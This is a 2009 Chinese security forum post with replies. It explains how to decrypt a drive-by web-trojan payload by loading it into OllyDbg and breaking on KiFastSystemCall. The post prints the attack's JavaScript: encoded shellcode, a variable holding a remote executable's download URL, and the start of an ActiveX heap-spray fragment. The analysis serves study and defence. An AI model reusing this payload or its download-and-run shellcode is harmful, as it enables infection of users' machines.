查看: 3577|回复: 7
收起左侧

[原创] Shellcode 解密技巧一则(半广告…)

[复制链接]
IllusionWing
发表于 2009-7-17 21:10:07 | 显示全部楼层 |阅读模式
原载于本人Blog,传送门
图请看原文。

Shellcode 解密技巧一则(半广告…)
以ckt1.cn包含的Shellcode为例,最后解密到这里qwweea.cn/360.htm,里面有一个go.jpg和go1.jpg,内容如下:
go.jpg%u0114%u0000%uD48B%uC73E%u6302%u646D%u3E20%u42C7%u2F04%u2063%u3E22″);
s+=pingfan(”%u42C7%u6308%u646D%u3E20%u42C
var pingfan=unescape;
var s=pingfan(”%uE890%u034D%u0000%u0068%u0020%u6A00%uFF00%uB9D0%u0800%u0000%uF88B%u05EB%uF35E%uFFA4%uE8D0%uFFF6%uFFFF%u54E8″);
s+=pingfan(”%u0003%u8B00%uE8F8%u0038%u0000%u64E8%u0001%uE800%u0046%u0000%uF2E8%u0003%u8B00%uE8F8%u0022%u0000%u5BE8%u0001%uE800″);
s+=pingfan(”%u0030%u0000%uA0E8%u0003%u8B00%uE8F8%u000C%u0000%u78E8%u0001%uE800%u001A%u0000%u58EB%u8B53%u53DC%u406A%u0068%u0010″);
s+=pingfan(”%u5700%uC8E8%u0002%uE800%u00FA%u0000%uC358%u8B53%u53DC%u206A%u0068%u0010%u5700%uB0E8%u0002%uE800%u00E2%u0000%uC358″);
s+=pingfan(”%uE857%u0453%u0000%uF88B%uC933%u3349%uB0C0%uFCC3%uAEF2%u478D%u5FFF%u5BC3%uC63E%uB807%u893E%u015F%u3E66%u47C7%uFF05″);
s+=pingfan(”%uC3E0%uACE9%u0004%u5B00%uEC817%u2F0C%u2063%u8322%u10C2%uC033%u5050%u0468%u0001%u5200%u5053%uC8E8%u0003″);
s+=pingfan(”%uE800%u0072%u0000%uFC8B%uC78B%uC083%u3E08%u188A%uDB84%u0374%uEB40%u66F6%uC73E%u2200%u3322%u3ED2%u5088″);
s+=pingfan(”%u8302%u54EC%uC033%uDB33%uCC8B%uF883%u7D54%u3E09%u1C89%u8308%u04C0%uF2EB%uCC8B%uD98B%uC383%u3310%u3EC0″);
s+=pingfan(”%u43C7%u012C%u0000%u5100%u5053%u5050%u5050%u5750%uE850%u033B%u0000%u19E8%u0000%u6400%u04A1%u0000%u8D00″);
s+=pingfan(”%u60A0%uFFFF%uE8FF%u0339%u0000%uDB33%u5353%u5353%uD0FF%u3880%u74E9%u8005%uE838%u0F75%u7881%u9005%u4190″);
s+=pingfan(”%u7490%u5506%uEC8B%u408D%uFF05%uE8E0%uFF17%uFFFF%uE8C3%uFF11%uFFFF%u11B8%u0401%uC280%u000C%u04E8%uFFFF”);
s+=pingfan(”%u33FF%u50C0%uE854%u0054%u0000%uE850%u028B%u0000%uD0FF%u8036%u243C%u7700%uE80A%u0241%u0000%uFF33%uFF57″);
s+=pingfan(”%uE8D0%u01FB%u0000%uFF68%u0000%uFF00%uE8D0%uFED1%uFFFF%u5753%u3356%u50C0%uE854%u001E%u0000%uE850%u0255″);
s+=pingfan(”%u0000%uD0FF%u8036%u243C%u7700%uE80A%u020B%u0000%uFF33%uFF57%u58D0%u5F5E%uC35B%u02EB%uC358%uF9E8%uFFFF”);
s+=pingfan(”%u56FF%u8357%u08EC%uFC8B%u086A%u3E57%u77FF%uE814%u025D%u0000%uD0FF%uFC8B%u6168%u656D%u6800%u4549%u7246″);
s+=pingfan(”%uF48B%u08B9%u0000%uF300%u75A6%u6A2F%u3E00%u74FF%u2024%u24E8%u0002%uFF00%u8BD0%uE8F8%u01CB%u0000%uD0FF”);
s+=pingfan(”%uF83B%u0874%u8B36%u2444%u3E20%u00FF%uFF3E%u2474%uE81C%u01EF%u0000%uD0FF%uC483%u5F10%uB85E%u0001%u0000″);
s+=pingfan(”%u68C3%u6E6F%u0000%u7568%u6C72%uEB6D%u8D15%u2444%u5004%u0BE8%uFFFE%u50FF%u4AE8%u0002%uE900%uFEE0%uFFFF”);
s+=pingfan(”%uE6E8%uFFFF%u83FF%u08C4%u6AC3%u686C%u746E%u6C64%u15EB%u448D%u0424%uE850%uFDE4%uFFFF%uE850%u0223%u0000″);
s+=pingfan(”%uB9E9%uFFFE%uE8FF%uFFE6%uFFFF%uC483%uC308%u3368%u0032%u6800%u7375%u7265%u15EB%u448D%u0424%uE850%uFDBA”);
s+=pingfan(”%uFFFF%uE850%u01F9%u0000%u8FE9%uFFFE%uE8FF%uFFE6%uFFFF%uC483%uC308%u6368%u7776%u6800%u6873%u6F64%u15EB”);
s+=pingfan(”%u448D%u0424%uE850%uFD90%uFFFF%uE850%u01CF%u0000%u65E9%uFFFE%uE8FF%uFFE6%uFFFF%uC483%uC308%u7668%u7867″);
s+=pingfan(”%uEB00%u8D15%u2444%u5004%u6BE8%uFFFD%u50FF%uAAE8%u0001%uE900%uFE40%uFFFF%uE6E8%uFFFF%u83FF%u04C4%uE8C3″);
s+=pingfan(”%u01AB%u0000%u1B68%u46C6%u5079%uC6E8%u0001%u8300%u08C4%uE8C3%u0197%u0000%uEC68%u0397%u500C%uB2E8%u0001″);
s+=pingfan(”%u8300%u08C4%uE8C3%u0183%u0000%uAA68%u0DFC%u507C%u9EE8%u0001%u8300%u08C4%uE8C3%u016F%u0000%uED68%uEF56″);
s+=pingfan(”%u5036%u8AE8%u0001%u8300%u08C4%uE8C3%u015B%u0000%uF068%u048A%u505F%u76E8%u0001%u8300%u08C4%uE8C3%uFEF7″);
s+=pingfan(”%uFFFF%u7868%uDB68%u501C%u62E8%u0001%u8300%u08C4%uE8C3%u0133%u0000%uEF68%uE0CE%u5060%u4EE8%u0001%u8300″);
s+=pingfan(”%u08C4%uE8C3%u011F%u0000%uB068%u2D49%u50DB%u3AE8%u0001%u8300%u08C4%uE8C3%uFF36%uFFFF%uAB68%u9B5E%u501E”);
s+=pingfan(”%u26E8%u0001%u8300%u08C4%uE8C3%uFEA7%uFFFF%u5968%u8197%u5002%u12E8%u0001%u8300%u08C4%uE8C3%u00E3%u0000″);
s+=pingfan(”%u7E68%uE2D8%u5073%uFEE8%u0000%u8300%u08C4%uE8C3%u00CF%u0000%u9E68%uBBF9%u5035%uEAE8%u0000%u8300%u08C4″);
s+=pingfan(”%uE8C3%uFE92%uFFFF%u5768%uB5A0%u50BB%uD6E8%u0000%u8300%u08C4%uE8C3%uFE7E%uFFFF%u1A68%u1E7A%u5002%uC2E8%u0000″);
s+=pingfan(”%u8300%u08C4%uE8C3%uFE6A%uFFFF%uE068%u305B%u5094%uAEE8%u0000%u8300%u08C4%uE8C3%uFE56%uFFFF%u9768%uE2C9″);
s+=pingfan(”%u50A3%u9AE8%u0000%u8300%u08C4%uE8C3%uFE42%uFFFF%u6868%uC524%u50B3%u86E8%u0000%u8300%u08C4%uE8C3%u0057″);
s+=pingfan(”%u0000%u7268%uB3FE%u5016%u72E8%u0000%u8300%u08C4%uE8C3%uFE44%uFFFF%u13EB%u656A%uE850%uFBE0%uFFFF%uE850″);
s+=pingfan(”%uFEAB%uFFFF%uB5E9%uFFFC%uE8FF%uFFE8%uFFFF%uE8C3%uFDA9%uFFFF%u4F68%u4FEF%u5005%u3EE8%u0000%u8300%u08C4″);
s+=pingfan(”%uE8C3%u000F%u0000%u8E68%u0E4E%u50EC%u2AE8%u0000%u8300%u08C4%u33C3%u64C0%u408B%u8530%u78C0%u3E10%u408B”);
s+=pingfan(”%u3E0C%u708B%uAD1C%u8B3E%u0840%uEBC3%u3E0B%u408B%u8334%u7CC0%u8B3E%u3C40%u60C3%u8B36%u246C%u3624%u458B”);
s+=pingfan(”%u363C%u548B%u7828%uD503%u8B3E%u184A%u8B3E%u205A%uDD03%u3BE3%u3E49%u348B%u038B%u33F5%u33FF%uFCC0%u84AC”);
s+=pingfan(”%u74C0%uC107%u0DCF%uF803%uF4EB%u3B36%u247C%u7528%u3EDF%u5A8B%u0324%u66DD%u8B3E%u4B0C%u8B3E%u1C5A%uDD03″);
s+=pingfan(”%u8B3E%u8B04%uC503%u8936%u2444%u611C%uE8C3%uFB4F%uFFFF”);
var u=pingfan(”%u7468%u7074%u2f3a%u712f%u7777%u6565%u2e61%u6e63%u642f%u776f%u2e6e%u7865%u0065″);
go1.jpg
var headersize=20;
bbbbs = ‘clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF’;
seee = ‘9090′;
saaa =’%u9′;
skkk =’090′;
ha=’%u’;
sxxx = saaa + skkk + ha + seee;
var dashell=s+u;
var omybro=unescape(sxxx);
var slackspace=headersize+dashell.length;
while(omybro.length................等等


  首先第一步,不管什么工具都要把这两段代码合到一起去。
  关键就是合并之后怎么办,导出的Shellcode变量是dashell,不过在使用enumXOR或者类似的方法时无法导出(当然不是就事论事,我想创造的是一种通用的方法)。那怎么办呢?
  如果使用Astox,我的处理方法是,首先把unescape脱掉(但是注意,不解密unescape,保留密文),这是Astox当前版本的必须条件(当然以后版本很快会改正…),然后选中dashell这个变量。当然其他工具无法通过enumXOR方法得出Astox也未必能,这个时候,Astox的植入PE功能就有用了,直接单击“导入OD调试”,程序目录下就会生成ShellcodeDebugTemp.exe文件。关键就是下一步,我们通过OD可以看到代码和以前利用该漏洞传播的网马完全不同,乍看起来什么头绪也没有。
  技巧就在下一步,这时候按Ctrl+G呼出跟随的窗口,输入KiFastSystemCall并回车(或者直接在Command中输入bp KiFastSystemCall),然后按F9运行。
  断下来之后,直接在内存窗口中按Ctrl+G跟随到408000处(这是由Astox而定的,Mozilla不一样),往下找一找就能看到网马地址了。
  其实原理很简单,在XP和之后的操作系统中(所以本方法不能照搬在Windows2000上,Windows2000上要下int 2e的断点,具体位置可以通过Ctrl+F搜索)使用了sysenter从R3中转入R0的过程,而该过程的具体实现函数就是KiFastSystemCall,也就是说断下KiFastSystemCall的时候就是完成了所有解密调用第一个API的时候。所以说可以清楚的看到网马的地址。

评分

参与人数 2人气 +2 收起 理由
走丢啦 + 1 学习了!
gtyre1 + 1 半广告都加点分吧^_^

查看全部评分

qigang
发表于 2009-7-17 22:30:43 | 显示全部楼层
路过。肯定得支持下。
zhxg54
发表于 2009-7-18 09:30:16 | 显示全部楼层
一进来费尔就提醒有病毒,
1e3e
头像被屏蔽
发表于 2009-7-18 09:34:15 | 显示全部楼层
学习了,非常好的教程
IllusionWing
 楼主| 发表于 2009-7-18 09:40:13 | 显示全部楼层
提示有病毒正常…shellcode而已
llzy3575
发表于 2009-7-18 11:09:08 | 显示全部楼层
u=pingfan(”%u7468%u7074%u2f3a%u712f%u7777%u6565%u2e61%u6e63%u642f%u776f%u2e6e%u7865%u0065″);
这个看起来蛮不错的样子
gtyre1
发表于 2009-7-18 12:31:45 | 显示全部楼层
原帖由 zhxg54 于 2009-7-18 09:30 发表
一进来费尔就提醒有病毒,


放Shellcode上来了。。。有些杀软报也正常
帅就是帅
发表于 2011-3-31 22:47:29 | 显示全部楼层
小羽君可真厉害~
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-4-26 00:06 , Processed in 0.119607 second(s), 17 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表